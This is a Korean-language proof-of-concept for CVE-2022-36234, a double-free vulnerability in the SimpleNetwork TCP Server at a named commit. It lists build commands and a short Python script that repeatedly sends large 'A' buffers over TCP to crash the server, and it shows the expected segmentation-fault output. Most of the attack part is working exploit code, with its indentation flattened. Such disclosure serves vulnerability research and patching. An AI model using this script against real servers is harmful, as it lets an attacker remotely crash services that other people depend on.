
CVE-2022-36234에 대한 개념 증명
SimpleNetwork TCP Server의 커밋 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496은 조작된 TCP 패킷을 통해 악용되는 이중 해제(double free) 취약점을 포함하는 것으로 확인되었습니다. 이중 해제를 트리거하면 클라이언트가 원격으로 모든 SimpleNetwork TCP 서버를 충돌시킬 수 있습니다. 다른 상황에서 이중 해제 취약점은 정의되지 않은 동작을 유발하고 특정 조건에서 잠재적으로 코드 실행으로 이어질 수 있습니다.
라이브러리를 컴파일하는 데 필요한 표준 빌드 도구가 있는지 확인하려면 다음 패키지를 설치하십시오(대부분의 시스템에는 이미 설치되어 있습니다):
sudo apt-get install build-essential git
이 취약점은 TCP 패킷에 대용량 문자 버퍼가 포함된 연속 요청을 서버에 전송하여 재현할 수 있습니다. 먼저 소스 코드에 포함된 'libSimpleNetwork' 라이브러리와 예제 서버를 컴파일합니다:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
성공하면 서버가 충돌하고 애플리케이션에서 다음과 같은 출력이 표시됩니다:
segmentation fault ./server 80 1